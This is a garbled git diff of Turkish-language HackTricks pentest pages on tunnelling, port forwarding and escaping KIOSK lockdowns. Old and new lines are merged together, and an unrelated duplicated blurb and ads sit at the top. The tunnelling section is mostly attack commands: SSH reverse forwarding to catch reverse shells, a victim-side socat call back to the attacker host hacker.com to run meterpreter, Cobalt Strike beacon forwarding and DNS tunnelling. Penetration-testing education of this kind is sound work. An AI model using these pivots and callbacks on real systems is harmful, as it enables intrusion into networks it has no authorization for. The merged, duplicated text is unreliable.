Bu, yazılım projelerinin tasarım aşamasında tehditleri bulmaya yardımcı olan Microsoft'tan ücretsiz bir araçtır. STRIDE metodolojisini kullanır ve özellikle Microsoft'un yığınında geliştirme yapanlar için uygundur. Bu, yazılım projelerinin tasarım aşamasında tehditleri bulmaya yardımcı olan Microsoft'tan ücretsiz bir araçtır. STRIDE metodolojisini kullanır ve özellikle Microsoft'un yığınında geliştirme yapanlar için uygundur.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız** kötü amaçlı yazılımlar tarafından **kompromize** edilip edilmediğini kontrol etmek için **ücretsiz** işlevler sunan **karanlık ağ** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}

View file

@ -1,32 +1,24 @@
# Tünelleme ve Port Yönlendirme # Tünelleme ve Port Yönlendirme
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Nmap ipucu ## Nmap ipucu
{% hint style="warning" %} {% hint style="warning" %}
**ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramalarını** (`-sT`) belirtmeliyiz. **ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu yüzden **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramaları** (`-sT`) belirtmeliyiz.
{% endhint %} {% endhint %}
## **Bash** ## **Bash**
@ -73,13 +65,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
``` ```
### Port2hostnet (proxychains) ### Port2hostnet (proxychains)
Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yer Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yere
```bash ```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy) ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
``` ```
### Ters Port Yönlendirme ### Ters Port Yönlendirme
Bu, iç hostlardan DMZ üzerinden kendi hostunuza ters shell almak için faydalıdır: Bu, DMZ üzerinden iç hostlardan kendi hostunuza ters shell almak için faydalıdır:
```bash ```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -105,7 +97,7 @@ Sunucu tarafında yönlendirmeyi etkinleştirin
echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
``` ```
İstemci tarafında yeni bir rota ayarlayın Müşteri tarafında yeni bir rota ayarlayın
``` ```
route add -net 10.0.0.0/16 gw 1.1.1.1 route add -net 10.0.0.0/16 gw 1.1.1.1
``` ```
@ -126,7 +118,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port ### Port2Port
Yerel port --> Ele geçirilmiş ana bilgisayar (aktif oturum) --> Üçüncü\_kutusu:Port Yerel port --> Ele geçirilmiş host (aktif oturum) --> Üçüncü\_kutusu:Port
```bash ```bash
# Inside a meterpreter session # Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host> portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
@ -167,7 +159,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port ### rPort2Port
{% hint style="warning" %} {% hint style="warning" %}
Bu durumda, **port beacon host'ta açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir. Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir.
{% endhint %} {% endhint %}
```bash ```bash
rportfwd [bind port] [forward host] [forward port] rportfwd [bind port] [forward host] [forward port]
@ -175,14 +167,14 @@ rportfwd stop [bind port]
``` ```
To note: To note:
- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Trafiği Takım Sunucusuna tünellemek için tasarlanmıştır**. - Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Team Server'a trafik tünellemek için tasarlanmıştır**.
- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil. - Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil.
- **Yüksek portlarda ters port yönlendirmeleri oluşturmak için yönetici ayrıcalıkları gerekmez**. - Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekmez**.
### rPort2Port local ### rPort2Port local
{% hint style="warning" %} {% hint style="warning" %}
Bu durumda, **port beacon ana bilgisayarında açılır**, Takım Sunucusunda değil ve **trafik Cobalt Strike istemcisine gönderilir** (Takım Sunucusuna değil) ve oradan belirtilen host:port'a iletilir. Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Server'a değil) ve oradan belirtilen host:port'a iletilir.
{% endhint %} {% endhint %}
``` ```
rportfwd_local [bind port] [forward host] [forward port] rportfwd_local [bind port] [forward host] [forward port]
@ -198,8 +190,8 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
``` ```
## Chisel ## Chisel
[https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresinden indirin\ [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresinin sürümler sayfasından indirebilirsiniz.\
**İstemci ve sunucu için aynı sürümü kullanmalısınız** **İstemci ve sunucu için aynı sürümü kullanmalısınız.**
### socks ### socks
```bash ```bash
@ -268,7 +260,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter #Execute the meterpreter
``` ```
Bir **kimlik doğrulaması yapılmamış proxy**'yi, kurbanın konsolundaki son satırın yerine bu satırı çalıştırarak atlayabilirsiniz: **Kimlik doğrulaması yapılmamış bir proxy**'yi atlatmak için, kurbanın konsolundaki son satır yerine bu satırı çalıştırabilirsiniz:
```bash ```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
``` ```
@ -325,10 +317,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
``` ```
## SocksOverRDP & Proxifier ## SocksOverRDP & Proxifier
**Sisteme RDP erişiminiz olmalıdır.**\ **Sisteme RDP erişiminiz olmalıdır**.\
İndirin: İndirin:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dinamik Sanal Kanallar` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur. 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin: İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin:
@ -336,13 +328,13 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe # Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
``` ```
Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** ve **127.0.0.1:1080** adresinde **dinleyeceği** ile ilgili bir **istem** alacağız. Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** ve **127.0.0.1:1080** adresinde **dinleyeceği** ile ilgili bir **istek** alacağız.
**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikilisini yükleyip çalıştırın: **RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikilisini yükleyip çalıştırın:
``` ```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
``` ```
Şimdi, makinenizde (saldırgan) 1080 numaralı portun dinlendiğini doğrulayın: Şimdi, makinenizde (saldırgan) 1080 numaralı portun dinlediğini doğrulayın:
``` ```
netstat -antb | findstr 1080 netstat -antb | findstr 1080
``` ```
@ -374,7 +366,7 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080 Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443 Tunnel 2222:<attackers_machine>:443
``` ```
Şimdi, örneğin kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Buna saldırganın 2222 numaralı portu üzerinden bağlanabilirsiniz.\ Şimdi, eğer kurban üzerinde **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız, buna saldırganın 2222 numaralı portu üzerinden bağlanabilirsiniz.\
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir. Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir.
## YARP ## YARP
@ -387,7 +379,7 @@ Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz:
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Her iki sistemde de tun adaptörleri oluşturmak ve DNS sorguları kullanarak aralarında veri tünellemek için root gereklidir. DNS sorguları kullanarak tun adaptörleri oluşturmak ve verileri bunlar arasında tünellemek için her iki sistemde de root gereklidir.
``` ```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r victim> iodine -f -P P@ssw0rd tunneldomain.com -r
@ -462,7 +454,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok ## ngrok
**[ngrok](https://ngrok.com/) çözümleri tek bir komut satırıyla internete açmak için bir araçtır.** **[ngrok](https://ngrok.com/) çözümleri tek bir komut satırıyla internete açmak için bir araçtır.**
*Maruz kalma URI'leri şunlar gibidir:* **UID.ngrok.io** *Maruz kalma URI'leri şunlardır:* **UID.ngrok.io**
### Kurulum ### Kurulum
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -544,7 +528,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,52 +1,42 @@
# KIOSK'lardan Kaçış # KIOSK'lardan Kaçış
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
--- ---
## Fiziksel cihazı kontrol et ## Fiziksel cihazı kontrol et
| Bileşen | Eylem | | Bileşen | Eylem |
| ----------- | ------------------------------------------------------------------- | | ------------- | -------------------------------------------------------------------- |
| Güç düğmesi| Cihazı kapatıp açmak başlangıç ekranını ortaya çıkarabilir | | Güç düğmesi | Cihazı kapatıp açmak başlangıç ekranını açabilir |
| Güç kablosu | Gücün kısa süre kesilmesi cihazın yeniden başlatılıp başlatılmadığını kontrol edin | | Güç kablosu | Güç kesildiğinde cihazın yeniden başlatılıp başlatılmadığını kontrol edin |
| USB portları| Daha fazla kısayol içeren fiziksel klavye bağlayın | | USB portları | Daha fazla kısayol ile fiziksel klavye bağlayın |
| Ethernet | Ağ taraması veya dinleme daha fazla sömürü olanağı sağlayabilir | | Ethernet | Ağ taraması veya sniffing daha fazla istismar sağlayabilir |
## GUI uygulaması içinde olası eylemleri kontrol et ## GUI uygulaması içindeki olası eylemleri kontrol et
**Ortak Diyaloglar** bir dosyayı **kaydetme**, bir dosyayı **açma**, bir yazı tipi seçme, bir renk seçme... gibi seçeneklerdir. Bunların çoğu **tam bir Explorer işlevselliği sunacaktır**. Bu, bu seçeneklere erişebilirseniz Explorer işlevlerine erişebileceğiniz anlamına gelir: **Ortak Diyaloglar**, **bir dosyayı kaydetme**, **bir dosyayı açma**, bir yazı tipi, bir renk seçme gibi seçeneklerdir... Bunların çoğu **tam bir Gezgini işlevselliği sunar**. Bu, bu seçeneklere erişebiliyorsanız Gezgini işlevselliğine erişebileceğiniz anlamına gelir:
* Kapat/Kapat gibi * Kapat/Kapat olarak
* Aç/Aç ile * Aç/Aç ile
* Yazdır * Yazdır
* Dışa Aktar/İçe Aktar * Dışa Aktar/Içe Aktar
* Ara * Ara
* Tara * Tara
@ -59,26 +49,26 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
### Komut Yürütme ### Komut Yürütme
Belki de **`Aç ile`** seçeneğini kullanarak bir tür kabuk açabilir/çalıştırabilirsiniz. Belki **`Aç ile`** seçeneğini kullanarak bazı shell türlerini açabilir/çalıştırabilirsiniz.
#### Windows #### Windows
Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada kullanılabilecek daha fazla komut dosyası bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io) Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada komutları çalıştırmak (ve beklenmedik eylemler gerçekleştirmek) için kullanılabilecek daha fazla ikili dosya bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
#### \*NIX \_\_ #### \*NIX \_\_
_bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://gtfobins.github.io) _bash, sh, zsh..._ Daha fazla bilgi burada: [https://gtfobins.github.io/](https://gtfobins.github.io)
## Windows ## Windows
### Yol kısıtlamalarını atlatma ### Yol kısıtlamalarını aşma
* **Ortam değişkenleri**: Bazı yollara işaret eden birçok ortam değişkeni vardır * **Ortam değişkenleri**: Bazı yollara işaret eden birçok ortam değişkeni vardır
* **Diğer protokoller**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ * **Diğer protokoller**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Sembolik bağlantılar** * **Sembolik bağlantılar**
* **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (explorer'ı aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyalogu), CTRL-P (Yazdırma Diyalogu), CTRL-S (Farklı Kaydet) * **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Çalıştır), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyaloğu), CTRL-P (Yazdırma Diyaloğu), CTRL-S (Farklı Kaydet)
* Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9 * Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9
* **Kabuk URI'ları**: _shell:Yönetici Araçları, shell:Belgeler Kütüphanesi, shell:Kütüphaneler shell:KullanıcıProfilleri, shell:Kişisel, shell:AramaAnaKlasör, shell:Sistemshell:AğYerleriKlasörü, shell:Gönder, shell:KullanıcıProfilleri, shell:Ortak Yönetici Araçları, shell:BilgisayarımKlasörü, shell:İnternetKlasörü_ * **Shell URI'leri**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32") * **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32")
* **Daha fazla UNC yolu:** * **Daha fazla UNC yolu:**
@ -93,116 +83,135 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | | %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% | | %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | | | %USERPROFILE% | %WINDIR% | |
### İkili Dosyalarınızı İndirin
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Gezgini: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
### Tarayıcıdan dosya sistemine erişim
| YOL | YOL | YOL | YOL |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
### Kısayollar ### Kısayollar
* Sticky Keys SHIFT tuşuna 5 kez basın * Yapışkan Tuşlar SHIFT tuşuna 5 kez basın
* Mouse Keys SHIFT+ALT+NUMLOCK * Fare Tuşları SHIFT+ALT+NUMLOCK
* Yüksek Kontrast SHIFT+ALT+PRINTSCN * Yüksek Kontrast SHIFT+ALT+PRINTSCN
* Toggle Keys NUMLOCK tuşunu 5 saniye basılı tutun * Anahtarları Değiştir NUMLOCK tuşunu 5 saniye basılı tutun
* Filtre Tuşları Sağ SHIFT tuşunu 12 saniye basılı tutun * Filtre Tuşları sağ SHIFT tuşunu 12 saniye basılı tutun
* WINDOWS+F1 Windows Arama * WINDOWS+F1 Windows Arama
* WINDOWS+D Masaüstünü Göster * WINDOWS+D Masaüstünü Göster
* WINDOWS+E Windows Gezgini'ni Başlat * WINDOWS+E Windows Gezgini'ni Başlat
* WINDOWS+R Çalıştır * WINDOWS+R Çalıştır
* WINDOWS+U Kolay Erişim Merkezi * WINDOWS+U Erişim Kolaylığı Merkezi
* WINDOWS+F Arama * WINDOWS+F Ara
* SHIFT+F10 Bağlam Menüsü * SHIFT+F10 Bağlam Menüsü
* CTRL+SHIFT+ESC Görev Yöneticisi * CTRL+SHIFT+ESC Görev Yöneticisi
* CTRL+ALT+DEL Yeni Windows sürümlerinde başlangıç ekranı * CTRL+ALT+DEL Yeni Windows sürümlerinde ılış ekranı
* F1 Yardım F3 Arama * F1 Yardım F3 Ara
* F6 Adres Çubuğu * F6 Adres Çubuğu
* F11 İnternet Explorer içinde tam ekranı aç/kapat * F11 Internet Explorer'da tam ekranı aç/kapat
* CTRL+H İnternet Explorer Geçmişi * CTRL+H Internet Explorer Geçmişi
* CTRL+T İnternet Explorer Yeni Sekme * CTRL+T Internet Explorer Yeni Sekme
* CTRL+N İnternet Explorer Yeni Sayfa * CTRL+N Internet Explorer Yeni Sayfa
* CTRL+O Dosya Aç * CTRL+O Dosya Aç
* CTRL+S Kaydet CTRL+N Yeni RDP / Citrix * CTRL+S Kaydet CTRL+N Yeni RDP / Citrix
### Kaydırma ### Kaydırmalar
* Sol kenardan sağa kaydırarak tüm açık Pencereleri görebilir, KIOSK uygulamasını küçülterek tüm işletim sistemine doğrudan erişebilirsiniz; * Sol taraftan sağa kaydırarak tüm açık Windows'ları görebilir, KIOSK uygulamasını küçültebilir ve doğrudan tüm işletim sistemine erişebilirsiniz;
